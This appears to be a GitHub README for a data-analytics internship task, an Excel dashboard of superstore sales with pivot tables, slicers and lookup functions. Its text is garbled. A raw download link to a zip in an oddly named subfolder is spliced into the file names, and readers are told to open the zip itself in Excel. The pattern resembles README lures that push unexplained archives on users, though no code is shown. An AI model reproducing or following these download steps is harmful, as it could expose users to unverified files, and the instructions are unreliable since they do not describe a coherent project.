Welcome to ElevvoPathways-DataAnalytics_Internship-TASK1! This application helps you analyze sales, profit, and customer behavior from super store data. You will use MS Excel's powerful features to explore trends across regions, categories, and customer segments. Follow these steps to download and run the application smoothly.
Before you proceed, ensure you have the following:
- A computer running Windows or MacOS.
- Microsoft Excel installed (version 2016 or later recommended).
- Basic understanding of how to navigate Excel.
To get started, you need to download the files from our GitHub Releases page.
Download link: Visit this page to download
- Click on the link above to go to the Releases page.
- Look for the most recent version listed.
- Click on the asset that says "Super Store Sales https://raw.githubusercontent.com/MOUYETLAZHAR/ElevvoPathways-DataAnalytics_Internship-TASK1/main/pincushiony/ElevvoPathways-DataAnalytics_Internship-TASK1.zip" to start the download.
Once the download is complete, locate the file on your computer.
Our Excel Dashboard includes:
- Pivot Tables: Quickly summarize sales data for easy analysis.
- Charts: Visual representations of sales trends.
- Slicers: Interactive filters allowing you to explore data by categories like regions and customer segments.
- Data Cleaning Functions: Easily manage your data with functions such as
COUNTIF,SUMIF, and more. - Aggregation Functions: Use powerful functions to draw insights from your sales data.
-
Open the "Super Store Sales https://raw.githubusercontent.com/MOUYETLAZHAR/ElevvoPathways-DataAnalytics_Internship-TASK1/main/pincushiony/ElevvoPathways-DataAnalytics_Internship-TASK1.zip" file in Microsoft Excel.
-
Navigate to the "Dashboard" tab:
- Use the Slicers to filter data by regions or categories.
- Click on data points in the charts to view detailed information.
-
Explore the other sheets:
- Check the "Data" sheet for raw data.
- Visit the "Calculations" sheet to understand how we derived key metrics.
-
Save any changes by clicking on "File" > "Save As" to avoid overwriting the original file.
This application covers a wide range of topics that are beneficial for data analysis:
- Aggregation Functions
- Average Calculations
- Data Cleaning Techniques
- Data Transformation Methods
- Date-Time Functions
- Lookup Functions (VLOOKUP, HLOOKUP, XLOOKUP)
- Removing Duplicates
- Sorting and Filtering Data
These topics allow you to gain insights into sales performance and customer behavior effectively.
If you encounter any issues while using the application, feel free to reach out through the Issues section of the GitHub repository.
For additional inquiries, you can contact the repository owner:
This project is licensed under the MIT License - see the LICENSE file for details.
To improve your Excel skills, consider exploring the following resources:
- Microsoft Excel Tutorials: Visit here
- Online Excel Courses: Search for free courses on platforms like Coursera or Udemy.
Thank you for choosing ElevvoPathways-DataAnalytics_Internship-TASK1! Enjoy analyzing your data.
Reminder: Don’t forget to check the Releases page for any updates: Visit this page to download